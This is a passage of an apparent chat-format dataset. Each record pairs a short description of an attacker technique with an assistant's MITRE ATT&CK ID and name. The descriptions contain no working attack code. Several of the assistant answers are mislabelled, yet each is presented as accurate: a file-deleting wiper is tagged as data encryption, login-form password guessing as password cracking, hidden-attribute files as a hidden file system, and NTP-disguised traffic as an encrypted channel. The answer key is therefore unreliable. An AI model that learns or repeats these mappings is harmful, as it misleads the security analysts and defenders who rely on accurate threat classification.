                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor abuses WinRM over HTTP to copy and execute payloads across the enterprise network."
            },
            {
                "role": "assistant",
                "content": "T1021.006 - Remote Services: Windows Remote Management"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A credential dumping tool is executed by hooking into the LSASS process via a malicious SSP."
            },
            {
                "role": "assistant",
                "content": "T1547.005 - Boot or Logon Autostart Execution: Security Support Provider"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker used a compromised web‑mail service as a relay to host malicious attachments and scripts."
            },
            {
                "role": "assistant",
                "content": "T1584.006 - Compromise Infrastructure: Web Services"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary performs DNS rebinding to bypass the victim’s NAT and gain direct access to internal services."
            },
            {
                "role": "assistant",
                "content": "T1599.001 - Network Boundary Bridging: Network Address Translation Traversal"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor writes to HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run to ensure their payload starts on user login."
            },
            {
                "role": "assistant",
                "content": "T1112 - Modify Registry"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A threat group uses a persistence technique to maintain access to a compromised system even after it has been rebooted or the malware has been removed."
            },
            {
                "role": "assistant",
                "content": "T1547 - Boot or Logon Autostart Execution"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious actor updated the disk encryption settings on cloud VMs to disable encryption and facilitate data theft."
            },
            {
                "role": "assistant",
                "content": "T1578.005 - Modify Cloud Compute Infrastructure: Modify Cloud Compute Configurations"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary compromised a service account used for automated backups in Google Cloud, and used it to copy confidential data to an external bucket."
            },
            {
                "role": "assistant",
                "content": "T1586.003 - Compromise Accounts: Cloud Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary employed a crafted shell script to modify system startup files and ensure persistence across reboots."
            },
            {
                "role": "assistant",
                "content": "T1059.004 - Command and Scripting Interpreter: Unix Shell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary performed a GPO security filtering change to grant 'Domain Users' the 'Domain Admins' group membership."
            },
            {
                "role": "assistant",
                "content": "T1484 - Domain Policy Modification"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A threat actor exploits an insecure password reset endpoint to set new passwords for victim accounts, effectively forging credentials for the web service."
            },
            {
                "role": "assistant",
                "content": "T1606 - Forge Web Credentials"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversary uses the 'driverquery' command to list all loaded device drivers on the compromised host."
            },
            {
                "role": "assistant",
                "content": "T1652 - Device Driver Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Spyware collects trust relationships from Linux Kerberos configuration files to map trusted hosts."
            },
            {
                "role": "assistant",
                "content": "T1590.003 - Gather Victim Network Information: Network Trust Dependencies"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious actor sets up a mail flow rule that filters messages with certain attachments into a hidden folder, evading detection by regular email scanning."
            },
            {
                "role": "assistant",
                "content": "T1564.008 - Hide Artifacts: Email Hiding Rules"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversary invokes the Windows PrintScreen function to take a screenshot of the user's desktop and uploads the image to a command‑and‑control server."
            },
            {
                "role": "assistant",
                "content": "T1113 - Screen Capture"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A phishing attachment contains instructions to replace the default screensaver with a trojanized .scr file that initiates data exfiltration on launch."
            },
            {
                "role": "assistant",
                "content": "T1546.002 - Event Triggered Execution: Screensaver"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware drops a VBA macro that installs a custom Office add‑in for automatic execution."
            },
            {
                "role": "assistant",
                "content": "T1137.006 - Office Application Startup: Add-ins"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware alters the system's Gatekeeper configuration via sudo privileges, disabling quarantine enforcement for all new files."
            },
            {
                "role": "assistant",
                "content": "T1553.001 - Subvert Trust Controls: Gatekeeper Bypass"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker used malicious firmware flashing tools to overwrite the UEFI variables, persisting malicious code across system restarts."
            },
            {
                "role": "assistant",
                "content": "T1542.001 - Pre-OS Boot: System Firmware"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using RDP's drive redirection feature, the threat actor transfers a remote administration tool onto the target."
            },
            {
                "role": "assistant",
                "content": "T1105 - Ingress Tool Transfer"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A trojan drops a wiper that systematically deletes system files on infected machines."
            },
            {
                "role": "assistant",
                "content": "T1486 - Data Encrypted for Impact"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Through a compromised proxy, the attacker intercepts HTTP traffic and extracts the Set‑Cookie header to hijack the web session."
            },
            {
                "role": "assistant",
                "content": "T1539 - Steal Web Session Cookie"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The group downloaded a zero‑day exploit kit from the dark web and integrated it into their malware arsenal."
            },
            {
                "role": "assistant",
                "content": "T1588.001 - Obtain Capabilities: Malware"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversary added a new policy that maps a network drive to a malicious share on all workstations."
            },
            {
                "role": "assistant",
                "content": "T1484.001 - Domain Policy Modification: Group Policy Modification"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious code calls the Win32_OperatingSystem class via COM to get the OS install date and language settings."
            },
            {
                "role": "assistant",
                "content": "T1082 - System Information Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intruder used a compromised VPN appliance to extract its policy tables and NAT settings."
            },
            {
                "role": "assistant",
                "content": "T1590.006 - Gather Victim Network Information: Network Security Appliances"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "AAPT used a covert channel by encrypting data with ECC and transmitting it via ICMP echo replies, avoiding detection by standard exfiltration monitors."
            },
            {
                "role": "assistant",
                "content": "T1048.002 - Exfiltration Over Alternative Protocol: Exfiltration Over Asymmetric Encrypted Non-C2 Protocol"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware leverages the SetWindowsHookEx API to monitor keyboard events, collecting keystrokes from all running applications and encrypting the log before transmission."
            },
            {
                "role": "assistant",
                "content": "T1056.001 - Input Capture: Keylogging"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A cybercriminal tampers with the testing phase of a hardware component, embedding a hardware keylogger."
            },
            {
                "role": "assistant",
                "content": "T1195.003 - Supply Chain Compromise: Compromise Hardware Supply Chain"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An adversary sets up a scheduled task that runs a VBScript to copy browser history files to a remote dropbox folder every 45 minutes."
            },
            {
                "role": "assistant",
                "content": "T1029 - Scheduled Transfer"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Cybercriminal utilizes a misconfigured Confluence instance that allows anonymous access to download internal project documentation."
            },
            {
                "role": "assistant",
                "content": "T1213.001 - Data from Information Repositories: Confluence"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A threat group stole Kubernetes cluster credentials and created additional pods/containers that act as persistent cloud compute resources."
            },
            {
                "role": "assistant",
                "content": "T1578.002 - Modify Cloud Compute Infrastructure: Create Cloud Instance"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries set up a script that watches for new files in the Documents folder and sends them to an external IP via FTP."
            },
            {
                "role": "assistant",
                "content": "T1020 - Automated Exfiltration"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor hides malicious code inside image files using steganography techniques."
            },
            {
                "role": "assistant",
                "content": "T1027 - Obfuscated Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker creates hidden files with the '.tmp' extension in the Windows\\Temp folder and marks them as hidden and system."
            },
            {
                "role": "assistant",
                "content": "T1564.005 - Hide Artifacts: Hidden File System"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries employ the native API ZwQuerySystemInformation to enumerate loaded drivers and system modules stealthily."
            },
            {
                "role": "assistant",
                "content": "T1106 - Native API"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An adversary drops a malicious .dylib file in the same directory as a legitimate application, causing the app to load the malicious library and execute arbitrary code."
            },
            {
                "role": "assistant",
                "content": "T1574.004 - Hijack Execution Flow: Dylib Hijacking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware removed the service account used for scheduled tasks, causing the scheduled jobs to fail."
            },
            {
                "role": "assistant",
                "content": "T1531 - Account Access Removal"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious driver was installed that silently redirects print jobs to a removable USB device, capturing printed sensitive information."
            },
            {
                "role": "assistant",
                "content": "T1025 - Data from Removable Media"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious program sets its executable name to 'explorer.exe' and runs as a background service."
            },
            {
                "role": "assistant",
                "content": "T1036.004 - Masquerading: Masquerade Task or Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attackers use a public proxy service to forward malicious traffic from the victim's machine to their command server, effectively masking the true source."
            },
            {
                "role": "assistant",
                "content": "T1090.002 - Proxy: External Proxy"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker cycles through a list of common passwords across many accounts to avoid lockout, attempting the same password on dozens of usernames."
            },
            {
                "role": "assistant",
                "content": "T1110.003 - Brute Force: Password Spraying"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware queries the Windows Registry for entries under HKLM\\SAM to list local user accounts."
            },
            {
                "role": "assistant",
                "content": "T1087.001 - Account Discovery: Local Account"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The tool calculates and resolves DNS queries at runtime to bypass static network defenses."
            },
            {
                "role": "assistant",
                "content": "T1568.003 - Dynamic Resolution: DNS Calculation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attackers manipulated the Odbcconf utility to execute a payload hidden in a legitimate ODBC driver configuration."
            },
            {
                "role": "assistant",
                "content": "T1218.008 - System Binary Proxy Execution: Odbcconf"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An adversary utilizes a domain name system (DNS) tunneling attack to exfiltrate data from a compromised network by hiding it within DNS queries."
            },
            {
                "role": "assistant",
                "content": "T1071.004 - Application Layer Protocol: DNS"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "During intrusion, the malicious script is saved as 'svchost.exe ' (note the space) to masquerade as a Windows system process."
            },
            {
                "role": "assistant",
                "content": "T1036.006 - Masquerading: Space after Filename"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries created a fake USB drive label that matches the company's internal branding to trick employees into plugging it in."
            },
            {
                "role": "assistant",
                "content": "T1036 - Masquerading"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious update to the hypervisor's system image introduces a hidden VM escape capability for the attacker."
            },
            {
                "role": "assistant",
                "content": "T1601.001 - Modify System Image: Patch System Image"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Exploiting a DLL hijacking flaw in a high‑privilege application, the attacker escalates to SYSTEM."
            },
            {
                "role": "assistant",
                "content": "T1068 - Exploitation for Privilege Escalation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A trojanized version of a popular file compression utility is distributed, replacing the client binary on victim machines."
            },
            {
                "role": "assistant",
                "content": "T1554 - Compromise Client Software Binary"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor rented a virtual private server from a low‑cost provider to host command‑and‑control infrastructure."
            },
            {
                "role": "assistant",
                "content": "T1583.003 - Acquire Infrastructure: Virtual Private Server"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A botnet uses a domain generation algorithm that produces domains ending with .com, .net, or .org, changing the domain list every 24 hours."
            },
            {
                "role": "assistant",
                "content": "T1568.002 - Dynamic Resolution: Domain Generation Algorithms"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious code accesses the encrypted password vault of Brave browser and decrypts it using the local key."
            },
            {
                "role": "assistant",
                "content": "T1555.003 - Credentials from Password Stores: Credentials from Web Browsers"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The exploit reads /proc/[pid]/fd/* to locate file descriptors pointing to credential stores and copies their contents."
            },
            {
                "role": "assistant",
                "content": "T1003.007 - OS Credential Dumping: Proc Filesystem"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious script sends periodic HTTP requests to discover hidden endpoints on the target’s public website."
            },
            {
                "role": "assistant",
                "content": "T1595 - Active Scanning"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker repeatedly tries common passwords against a web application's login form until a correct credential is found."
            },
            {
                "role": "assistant",
                "content": "T1110.002 - Brute Force: Password Cracking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An adversary exploits the Windows DLL search order by creating a malicious DLL with the same name as a system library and placing it in the current working directory of the target application."
            },
            {
                "role": "assistant",
                "content": "T1574.008 - Hijack Execution Flow: Path Interception by Search Order Hijacking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat group employs Regsvcs to register a rogue COM object, which then executes a PowerShell backdoor on the compromised host."
            },
            {
                "role": "assistant",
                "content": "T1218.009 - System Binary Proxy Execution: Regsvcs/Regasm"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker encrypts stolen documents with a public RSA key and exfiltrates them over HTTPS to a cloud storage bucket, avoiding any known C2 traffic."
            },
            {
                "role": "assistant",
                "content": "T1048.002 - Exfiltration Over Alternative Protocol: Exfiltration Over Asymmetric Encrypted Non-C2 Protocol"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious Office add‑in is installed via Group Policy, causing a malicious script to run each time Outlook starts."
            },
            {
                "role": "assistant",
                "content": "T1137.002 - Office Application Startup: Office Test"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker employs a user-mode hook on the SecureString function to capture plaintext credentials from applications before they are encrypted."
            },
            {
                "role": "assistant",
                "content": "T1056.004 - Input Capture: Credential API Hooking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intruder used the macOS command \"find / -type f\" to list every file on the compromised device."
            },
            {
                "role": "assistant",
                "content": "T1083 - File and Directory Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker employs WMI to call Win32_Service and create a new persistent service."
            },
            {
                "role": "assistant",
                "content": "T1543.003 - Create or Modify System Process: Windows Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker sets up a VPN over a commonly allowed port to hide malicious traffic from detection systems."
            },
            {
                "role": "assistant",
                "content": "T1572 - Protocol Tunneling"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The campaign drops a malicious DLL, registers it with a custom CLSID, and then runs Verclsid.exe to execute the payload silently."
            },
            {
                "role": "assistant",
                "content": "T1218.012 - System Binary Proxy Execution: Verclsid"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious Chrome extension requests microphone permissions and silently records user speech, sending the data to a remote endpoint."
            },
            {
                "role": "assistant",
                "content": "T1123 - Audio Capture"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious code was added to a compromised online gaming forum that examines the user's browser language settings and only serves a remote access tool to users whose language matches the target region."
            },
            {
                "role": "assistant",
                "content": "T1608.004 - Stage Capabilities: Drive-by Target"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor installs a credential dumping module, obtains service account secrets, and uses them to pull mail via POP3 from the mail server."
            },
            {
                "role": "assistant",
                "content": "T1114.002 - Email Collection: Remote Email Collection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors infiltrate a freelancer's web hosting account and install mining malware."
            },
            {
                "role": "assistant",
                "content": "T1584.006 - Compromise Infrastructure: Web Services"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious script accesses the Linux Seahorse (Gnome Keyring) to export private keys and passwords."
            },
            {
                "role": "assistant",
                "content": "T1555 - Credentials from Password Stores"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious code disguises C2 traffic as legitimate NTP synchronization packets."
            },
            {
                "role": "assistant",
                "content": "T1573 - Encrypted Channel"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The group performs HTTP requests to popular CDN providers to locate cached files that reveal internal configuration details."
            },
            {
                "role": "assistant",
                "content": "T1596.004 - Search Open Technical Databases: CDNs"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor uses a DNS query to a domain it controls to retrieve encrypted instructions for the compromised host."
            },
            {
                "role": "assistant",
                "content": "T1071.004 - Application Layer Protocol: DNS"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker queries publicly available technical forums and mailing lists for configuration files that reveal system architecture."
            },
            {
                "role": "assistant",
                "content": "T1596 - Search Open Technical Databases"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intruder reads the local email client’s SQLite database to retrieve sent and received messages."
            },
            {
                "role": "assistant",
                "content": "T1114.001 - Email Collection: Local Email Collection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
